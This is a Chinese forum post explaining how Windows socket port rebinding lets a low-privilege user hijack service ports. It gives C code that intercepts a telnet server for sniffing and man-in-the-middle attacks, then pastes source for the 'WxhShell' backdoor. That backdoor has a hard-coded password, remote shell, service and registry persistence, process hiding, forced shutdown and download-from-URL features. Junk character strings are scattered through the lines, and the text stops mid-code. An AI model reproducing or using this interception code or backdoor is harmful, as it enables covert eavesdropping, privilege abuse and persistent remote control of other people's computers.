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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~uqJ@#o{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }bIEWho  
q_g'4VZv  
  saddr.sin_family = AF_INET; /cJ$` pN  
fH`P8?](x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "#rlL^9v  
S!#7]wtbP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <& 8cq@<  
2"'0OQN0\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TA`*]*O(  
GTYGm  
  这意味着什么?意味着可以进行如下的攻击: D(~6h,=m  
|LcN_ ,}6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cwz %LKh  
KB&t31aq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @>qzRo  
H[*.Jd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'hVOK(o 0  
:?RooJ~#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3.Ni%FF`  
qX0IHe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I:]s/r7  
Vd)iv\a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e&8pTD3  
}Da8S|)H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9gn_\!Mp  
CYEqH2"3  
  #include YXg:cXE8e  
  #include _:c8YJEG{  
  #include < hZA$.W3  
  #include    6@wnF>'/\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6.EfM^[  
  int main() )UI T'*ow  
  { UrH^T;#  
  WORD wVersionRequested; *B)>5r  
  DWORD ret; &%f y  
  WSADATA wsaData; g5V9fnb!d  
  BOOL val; WyA>OB<Zeq  
  SOCKADDR_IN saddr; mf,mKgfG  
  SOCKADDR_IN scaddr; X~P0Q  
  int err; [k@D}p x  
  SOCKET s; Gw~^6(Qu  
  SOCKET sc; J^ P/2a#a  
  int caddsize; cP$b>3O  
  HANDLE mt; G&/}P$  
  DWORD tid;   n2Dnpe:  
  wVersionRequested = MAKEWORD( 2, 2 ); O(~`fN?n  
  err = WSAStartup( wVersionRequested, &wsaData ); Q'*-gg&)  
  if ( err != 0 ) { }}cVPB7   
  printf("error!WSAStartup failed!\n"); BtBy.bR  
  return -1; f|Z3VS0x  
  } >f'n l  
  saddr.sin_family = AF_INET; ^-~.L: }q  
   .Ky<9h.K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $Fc*^8$ryC  
 42Gr0+Mb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qoB   
  saddr.sin_port = htons(23); O *H:CW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZ=U} &F  
  { }UXj|SY  
  printf("error!socket failed!\n"); x@v,qF$K  
  return -1; WB6g i2  
  } gSZ NsiH  
  val = TRUE; RNRMw;cT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E0ud<'3<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /B|#GJ\\3  
  { #c+N}eX{  
  printf("error!setsockopt failed!\n"); QMy;?,  
  return -1; *ErTDy(   
  } .DHZs#R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9s73mu`Twg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ea!}r| ~]0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #8;^ys1f  
tI*u"%#t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [53@'@26  
  { +]I;C  
  ret=GetLastError(); ujmW {()  
  printf("error!bind failed!\n"); ^zs CF0  
  return -1; `r_qvrC  
  } iBN,YPo~  
  listen(s,2); 9^v|~f  
  while(1) "Z &qOQg%3  
  { ;L(W'+  
  caddsize = sizeof(scaddr); ?7^('  
  //接受连接请求 .N_0rPO,Kw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *S~. KW[  
  if(sc!=INVALID_SOCKET) )\`TZLR  
  { ^w8H=UkP!+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HQt=.#GW  
  if(mt==NULL) M (b'4  
  { MukPY2[Am  
  printf("Thread Creat Failed!\n"); Z>o;Yf[  
  break; |WXu;uf$.u  
  } >5/dmHPc  
  } o[+1O  
  CloseHandle(mt); b[GZ sXD-  
  } &oTSff>p}  
  closesocket(s); [%P_ Y/  
  WSACleanup(); 4%\L8:  
  return 0; D*vrQ9&# 8  
  }   S.t+HwVodO  
  DWORD WINAPI ClientThread(LPVOID lpParam) %3fHitCikc  
  { [NeOd77y  
  SOCKET ss = (SOCKET)lpParam; Y&Pi`E9=  
  SOCKET sc; ``w,CP ?  
  unsigned char buf[4096]; C~'}RM  
  SOCKADDR_IN saddr; T*k K-@.i  
  long num; Q!GB^ P  
  DWORD val; hrU.QF8  
  DWORD ret; ;fee<7T y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xa[gDdbL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nt "VH5  
  saddr.sin_family = AF_INET; % eW>IN]5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N(t1?R/e,  
  saddr.sin_port = htons(23); 0x[vB5R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;o%r{:lng  
  { 0RtqqNFD  
  printf("error!socket failed!\n"); 4K0N$9pd:  
  return -1; P~ffgzP  
  } ^q FFF3<8  
  val = 100; >I]t |RT])  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z7k {7  
  { 5y}}?6n+  
  ret = GetLastError(); .[= 0(NO  
  return -1; -M%n<,XN0  
  } Pk~P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qZKU=HM  
  { t+m$lqm  
  ret = GetLastError(); ],qG!,V  
  return -1; ^YenS6`F  
  } ~`T(mh',  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZzzQXfA#  
  { @L{HT8utK3  
  printf("error!socket connect failed!\n"); +;:i,`Lmg  
  closesocket(sc); Q&`$:h.~  
  closesocket(ss); LtejLCf/  
  return -1; "F"G(ba^  
  } [K&O]s<Y  
  while(1) [g&Q_+,j  
  { 8* >6+"w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RUX!(Xw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h!yF   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7" Dw4}T  
  num = recv(ss,buf,4096,0); FT`y3 ~  
  if(num>0) C*kZ>mbc  
  send(sc,buf,num,0); W`6nMFg  
  else if(num==0) VIAj]Ul  
  break; (zk'i13#6  
  num = recv(sc,buf,4096,0); Sh2q#7hf  
  if(num>0) >,uof?  
  send(ss,buf,num,0); Xw9,O8}C7  
  else if(num==0) e)!X9><J  
  break; ]~3wq[O  
  } zHDC8m  
  closesocket(ss); 5_G7XBvD/w  
  closesocket(sc); kW6}57iV  
  return 0 ; 53BXz= k  
  } CM9+h;Zm  
&>L\unS  
=2J+}ac  
========================================================== 7lR(6ka&/  
P1Re7/  
下边附上一个代码,,WXhSHELL EJdq"6S  
3"I 1'+  
========================================================== *7BY$q  
!G`w@E9M)  
#include "stdafx.h" 7 &GhJ^Ku  
pfZn<n5p  
#include <stdio.h> 6S"bW)O  
#include <string.h> =*"Amd,  
#include <windows.h> o=;.RYi  
#include <winsock2.h> ik7#Og~ 3  
#include <winsvc.h> L_)?5IOJ$  
#include <urlmon.h> 5!tmG- 'b  
;)"r^M)):  
#pragma comment (lib, "Ws2_32.lib") MSRIG-  
#pragma comment (lib, "urlmon.lib") -Ah\a0z  
{\C$Bz  
#define MAX_USER   100 // 最大客户端连接数 wpx,~`&  
#define BUF_SOCK   200 // sock buffer )z7. S"U  
#define KEY_BUFF   255 // 输入 buffer P63z8^y  
if#$wm%  
#define REBOOT     0   // 重启 g>OGh o  
#define SHUTDOWN   1   // 关机 k?|VFh1  
ScZ$&n  
#define DEF_PORT   5000 // 监听端口 N;r,B  
rd%3eR?V  
#define REG_LEN     16   // 注册表键长度 d 'x;]#S  
#define SVC_LEN     80   // NT服务名长度 8V=I[UF.1?  
E<-}Jc1  
// 从dll定义API 4zJ9bF4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "/ @ ;6   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KC q3S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (873:"(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IK~ur\3  
C[gSiL  
// wxhshell配置信息 YJ rK oK}  
struct WSCFG { 8'`&f &  
  int ws_port;         // 监听端口 HAGWA2wQ  
  char ws_passstr[REG_LEN]; // 口令 b cz<t)  
  int ws_autoins;       // 安装标记, 1=yes 0=no O!Mm~@MoA  
  char ws_regname[REG_LEN]; // 注册表键名 Oo rH  
  char ws_svcname[REG_LEN]; // 服务名 r8^1JJ~\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7@+0E 2'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s_D7?o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K8284A8v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FY#`]124*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }@ 1LFZx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^Ud`2 OW;2  
tet  
}; "TN}=^A\F  
2R<1  ^  
// default Wxhshell configuration 6D0uLh  
struct WSCFG wscfg={DEF_PORT, ',juZ[]_ {  
    "xuhuanlingzhe", g&_0)(a\  
    1, Sq(=Bn6E  
    "Wxhshell", ~5p `Kg*  
    "Wxhshell", [}P|OCW  
            "WxhShell Service", EMs$~CL4  
    "Wrsky Windows CmdShell Service", kIXLB!L2b^  
    "Please Input Your Password: ", ;qG a|`#j  
  1, LoBKR c2t  
  "http://www.wrsky.com/wxhshell.exe", aL#b8dCy'  
  "Wxhshell.exe" B: {bmvy  
    }; "GZhr[AW  
%[NefA(  
// 消息定义模块 pjjs'A*y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r8Gq\ ^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6"ZQN)7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1<bSHn9  
char *msg_ws_ext="\n\rExit."; z^Oiwzo  
char *msg_ws_end="\n\rQuit."; Z [68ji]  
char *msg_ws_boot="\n\rReboot..."; <;v{`@\j{  
char *msg_ws_poff="\n\rShutdown..."; x6:$lZ(  
char *msg_ws_down="\n\rSave to "; "* 'rzd  
w5qhKu!1  
char *msg_ws_err="\n\rErr!"; l9P~,Ec4''  
char *msg_ws_ok="\n\rOK!"; ukG1<j7.  
1AoBsEnd  
char ExeFile[MAX_PATH]; e^Jy-?E  
int nUser = 0; f"k/j?e*  
HANDLE handles[MAX_USER]; ^@{'! N  
int OsIsNt; ^0X86  
] +Gi~  
SERVICE_STATUS       serviceStatus; j q1qj9KZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K")-P9I6-f  
Jc{zi^)(EN  
// 函数声明 8)R )h/E>  
int Install(void); b3Y9  
int Uninstall(void); z%mM#X  
int DownloadFile(char *sURL, SOCKET wsh); xA&G91|s  
int Boot(int flag); f$(w>B7..  
void HideProc(void); .>CqZN,^  
int GetOsVer(void); !u4oo-  
int Wxhshell(SOCKET wsl); Fp@eb8Pl  
void TalkWithClient(void *cs); $XT&8%|*7  
int CmdShell(SOCKET sock); /V&$SRdL*  
int StartFromService(void); 3=;iC6 `  
int StartWxhshell(LPSTR lpCmdLine); Kj-:'jzW  
ijyj}gpWha  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F\Tlpp9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H+*o @0C\~  
T*A_F [  
// 数据结构和表定义 ]IyC  
SERVICE_TABLE_ENTRY DispatchTable[] = !t;$n!7<  
{ QM;L>e-ZY  
{wscfg.ws_svcname, NTServiceMain}, yVh]hL#4+w  
{NULL, NULL} go{'mX)}u  
}; m[Zz(tL  
+yCIA\i#t6  
// 自我安装 M=0I 3o}J  
int Install(void) TioI$?l>W(  
{ 1j0yON  
  char svExeFile[MAX_PATH]; =>S5}6  
  HKEY key; +T UtVG  
  strcpy(svExeFile,ExeFile); W P.6ea7k  
4(B,aU>y  
// 如果是win9x系统,修改注册表设为自启动 2psI\7UjA]  
if(!OsIsNt) { m$[ \(Z(/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fnll&TF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |q5\1}@:  
  RegCloseKey(key); ??1V__w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aEX+M57k~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?CmW{9O  
  RegCloseKey(key); _Vp9Y:mX2  
  return 0; G]q6Ika  
    } ~>#=$#V   
  } :Q&8DC#]  
} J0|/g2%0  
else { eeB^c/k(P  
.&}}ro48  
// 如果是NT以上系统,安装为系统服务 sfVtYIu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8 wC3}U  
if (schSCManager!=0) LvW9kL+WiQ  
{ (Ptv#LSUX  
  SC_HANDLE schService = CreateService ,gkxZ{Eh  
  ( h-jea1m  
  schSCManager, <R]?8L0{h  
  wscfg.ws_svcname, B8B^@   
  wscfg.ws_svcdisp, ^>k[T.  
  SERVICE_ALL_ACCESS, wU+ofj; +I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m_(+-G  
  SERVICE_AUTO_START, WW==  
  SERVICE_ERROR_NORMAL, =xa`)#4(  
  svExeFile, \[Rh\v&  
  NULL, c&F"tLl  
  NULL, >@y5R^B`  
  NULL, >`s2s@Mx  
  NULL, A")B<BK  
  NULL c9f~^}jNb  
  ); $&lS7}  
  if (schService!=0) h'kgL~+$  
  { #^Sd r-   
  CloseServiceHandle(schService); :ykQ[d`:|  
  CloseServiceHandle(schSCManager); +s_@964  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r 97 VX>  
  strcat(svExeFile,wscfg.ws_svcname); C=9|K`g5 R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~}wPiu,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P9Rq'u  
  RegCloseKey(key); T7!a@  
  return 0; hQl3F6-ud  
    } 46}/C5  
  } PtmdUHvD  
  CloseServiceHandle(schSCManager); BnAia3z  
} Eiz\Nb  
} LFg<j1Gk`  
N}\$i&Vi  
return 1; 3go!P])  
} rq2XFSXn  
o.Q |%&1  
// 自我卸载 E: XzX Fxx  
int Uninstall(void) l+YpRx/T\  
{ 7nIg3s%  
  HKEY key;  h}+,]^  
J/RUKhs/  
if(!OsIsNt) { QGLfZvTT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &o:ZOD.  
  RegDeleteValue(key,wscfg.ws_regname); / ^!(rHf  
  RegCloseKey(key); 4[bw/[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m6'YFpf)V  
  RegDeleteValue(key,wscfg.ws_regname); "L{;=-e  
  RegCloseKey(key); {WFYNEQ[  
  return 0; ##R]$-<4dQ  
  } Zf(ucAhL  
} .;*0odxv  
} 4S03W  
else { m,)Re8W-  
6OIA>%{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); inR8m 4c]P  
if (schSCManager!=0) tTQ>pg1{qh  
{ x?Q;o+2v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QE-t v00  
  if (schService!=0) q(a6@6f"kD  
  { 0]i#1Si~@  
  if(DeleteService(schService)!=0) { 5/neV&VcB  
  CloseServiceHandle(schService); \N/T^,  
  CloseServiceHandle(schSCManager); -FE5sW  
  return 0; HHg=:>L z  
  } e2/[`k=7-  
  CloseServiceHandle(schService); S }fIZ1  
  } C7)].vUN  
  CloseServiceHandle(schSCManager); E/5w H/  
}  (lt/ t  
} RZDZ3W(;h  
8FbBv"LI,g  
return 1; J*$ !^\s  
} *B@<{x r  
g($y4~#  
// 从指定url下载文件 N2q'$o  
int DownloadFile(char *sURL, SOCKET wsh) ~-'nEATE  
{ aD%")eP%&  
  HRESULT hr; X0P<ifIv  
char seps[]= "/"; C]eb=rw$  
char *token; P#76ehR]K  
char *file; Z\LW<**b  
char myURL[MAX_PATH]; (QqKttL:  
char myFILE[MAX_PATH]; =BNmuAY7  
#l{qb]n]  
strcpy(myURL,sURL); *-` /A  
  token=strtok(myURL,seps); m#'u;GP]k  
  while(token!=NULL) #!Kg?BR2  
  { b"{7f   
    file=token; Uv5E$Y"e10  
  token=strtok(NULL,seps); !U=;e?o  
  } Fvi<5v  
:c<C;.  
GetCurrentDirectory(MAX_PATH,myFILE); mezP"N=L~  
strcat(myFILE, "\\"); qj=12;  
strcat(myFILE, file); C2DNyMu  
  send(wsh,myFILE,strlen(myFILE),0); W}JJaZR*X  
send(wsh,"...",3,0); njvmf*A?S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'B6D&xn'%&  
  if(hr==S_OK) O+z-6:`  
return 0; %Z.>)R4  
else udW, P  
return 1; =p^*y-z  
2nOQ48ha T  
} RwY) O5  
&eg]8kV  
// 系统电源模块 |V:k8Ab  
int Boot(int flag) h*d&2>"0m?  
{ 0( /eSmet  
  HANDLE hToken; [,G]#<G?q  
  TOKEN_PRIVILEGES tkp; uw;s](~E  
H^'EY:|  
  if(OsIsNt) { .>h|e_E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^VoQGP/cl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ml0d^l}'  
    tkp.PrivilegeCount = 1; BKVvu}V(o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wk)gxn1A,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rP#@*{";  
if(flag==REBOOT) { /C3=-Hp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TC J\@|yw  
  return 0; .6  
} .RoO 6:T6  
else { P_Po g^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xR;Xx;  
  return 0; ;jI\MZ~l\  
} jS| (g##4  
  } `^|mNh  
  else { $]Y' [pE@  
if(flag==REBOOT) { a08B8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S.M< (  
  return 0; ZtDHN L  
} aJIj%Y$  
else { OJ] {FI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n |.- :Zy  
  return 0; AE^&hH0^  
} ?Cmb3pX^\  
} !)_5z<  
l,sYYU+iY  
return 1; $F\&?B1.  
} %Sxy!gGz%%  
\h _hd%'G  
// win9x进程隐藏模块 0D 0#*J  
void HideProc(void) <6- (a;T!7  
{ ,cgC_ %  
~5]AXi'e~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZL~}B.nqS  
  if ( hKernel != NULL ) bNIT 1'v  
  { p 4(-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r|rV1<d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zB 7wGl9  
    FreeLibrary(hKernel); :tR%y"  
  } 9-pd{Z~l  
pmHd1 Wub  
return; QIo|t!7F  
} 7Zr jU {  
<%) :'0q&  
// 获取操作系统版本 u%v^(9z  
int GetOsVer(void) s7df<dBC  
{ r|0C G^:C  
  OSVERSIONINFO winfo; Re,0RM\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^!Bpev  
  GetVersionEx(&winfo); ,gD30Pylz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mX,#|qLf  
  return 1; } vcr71u  
  else ZOS{F_2.  
  return 0; 0nhsjN}v  
} ki}Uw#  
G|Q}.v  
// 客户端句柄模块 8>O'_6Joj  
int Wxhshell(SOCKET wsl) TvM{ QGN  
{ VwtGHF'  
  SOCKET wsh; c.jnPVf:  
  struct sockaddr_in client; _FAwW<S4B  
  DWORD myID; T /[)U  
B(b[Dbb  
  while(nUser<MAX_USER) F KL}6W:  
{ "D@m/l  
  int nSize=sizeof(client); >o'D/'>ku  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @0B<b7Jv  
  if(wsh==INVALID_SOCKET) return 1; F~RUb&*/<  
l  4~'CLi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MY1 tYO  
if(handles[nUser]==0) u'?t'I  
  closesocket(wsh); @A$%baH0  
else Q"Q|]f*  
  nUser++; q@Q|oB0W$)  
  } $Q]`+:g*}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7e}p:Vfp  
TpMfk7-  
  return 0; ?e&CbVc4  
} P\SD_8  
QC ?8  
// 关闭 socket ,{zvGZ|  
void CloseIt(SOCKET wsh) +R#*eo;o7  
{ \k;raQR4t*  
closesocket(wsh); P+"#xH  
nUser--; F(SeD)ml  
ExitThread(0);  FcfN]!  
} MZL~IX  
/[{?zS{  
// 客户端请求句柄 Td8'z'  
void TalkWithClient(void *cs) t(}&<<1Bz  
{ wiwJD}3h'  
nC>#@*+jK  
  SOCKET wsh=(SOCKET)cs; F!aYK2  
  char pwd[SVC_LEN]; {L<t6A  
  char cmd[KEY_BUFF]; a.w,@!7  
char chr[1]; .@=d I  
int i,j; :i:Zc~%  
wl(}F^:/`  
  while (nUser < MAX_USER) { =PO/Q|-v?  
:q6hT<f;  
if(wscfg.ws_passstr) { &TC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I0OsaX'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `bt]v$  
  //ZeroMemory(pwd,KEY_BUFF); frGUT#9?n  
      i=0; A3 j>R477A  
  while(i<SVC_LEN) { 5{cAawU.  
qZ8lU   
  // 设置超时 rV2}> k  
  fd_set FdRead; n,xK7icYNQ  
  struct timeval TimeOut; 1l1X1  
  FD_ZERO(&FdRead); vLpE|QZs  
  FD_SET(wsh,&FdRead); ~(hmiNa;  
  TimeOut.tv_sec=8; j}h50*6KO  
  TimeOut.tv_usec=0; mv30xcc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .:<c[EJ b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eb( =V *  
0} P&G^%"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O\G%rp L$w  
  pwd=chr[0]; *sL'6"#Cre  
  if(chr[0]==0xd || chr[0]==0xa) { +.>O%pNj  
  pwd=0; z!RA=]3h  
  break; Z39^nGO  
  } >1joCG~  
  i++; 3zh'5qQ  
    } kTFN.kQx@  
1 u&P,&T  
  // 如果是非法用户,关闭 socket C,fIwqOr3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M_*w)<  
} e@ F& /c  
yChC&kX Z+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7a@V2cr@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eeL%Yp3+  
~r>WnI:vg  
while(1) { gb@!Co3  
<u^41  
  ZeroMemory(cmd,KEY_BUFF); ! '2'db  
u# %7>=  
      // 自动支持客户端 telnet标准   }Pw5*duq  
  j=0; !$_mWz  
  while(j<KEY_BUFF) { o8Bo%OjE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SkPv.H0Id  
  cmd[j]=chr[0]; B /Dj2  
  if(chr[0]==0xa || chr[0]==0xd) { c~$ipX   
  cmd[j]=0; z{ymVd0#  
  break; x`B :M7+\  
  } l(&CO<4q?  
  j++; 1J<-P9 vk+  
    } :ye)%UU"|:  
(& ~`!]  
  // 下载文件 <GoE2a4Va  
  if(strstr(cmd,"http://")) { n.7 $*9)#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UejG$JyHP  
  if(DownloadFile(cmd,wsh)) *w@>zkBl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]ZM`bex&  
  else G&3j/5V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4["}U1sG  
  } 0udE\/4!^  
  else { TOBAh.1  
kdW i!Hp  
    switch(cmd[0]) { 4|Y0 $(6o  
  ?V7[,I1?  
  // 帮助 +mF}j=k  
  case '?': { R[_7ab]A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7:1Hgj(  
    break; ?m~x%[Vn  
  } z Gz5|u  
  // 安装 +<3tv&"  
  case 'i': { y()#FRp7  
    if(Install()) .Hgiru&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kxf'_Nzy  
    else  OSSMIPr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQ}=7oe%q  
    break; Z2 t0l%  
    } F92n)*[  
  // 卸载 q<;9!2py  
  case 'r': { ly^F?.e-  
    if(Uninstall()) *b7v)d#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hcN$p2-  
    else _L: /2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *$hO C%(  
    break; - iJ[9O  
    } w$& 10  
  // 显示 wxhshell 所在路径 y XS/3_A{  
  case 'p': { 69IBG,N'  
    char svExeFile[MAX_PATH]; s';jk(i3  
    strcpy(svExeFile,"\n\r"); ^ro?.,c T  
      strcat(svExeFile,ExeFile); S++}kR);  
        send(wsh,svExeFile,strlen(svExeFile),0); ZZeqOu7^  
    break; u\Xi]pZ@X]  
    } wS:323 !l$  
  // 重启 lhxhAe  
  case 'b': { KUly"B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =B?uNoe  
    if(Boot(REBOOT)) @&2T0UB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kh5:+n_X  
    else { K zM\+yC  
    closesocket(wsh); aV>w($tdd  
    ExitThread(0); xDVzHgbf  
    } - 6  
    break; @A yC0}  
    } mFo6f\DHr`  
  // 关机 Z NuyGo;  
  case 'd': { 7p~@S4  
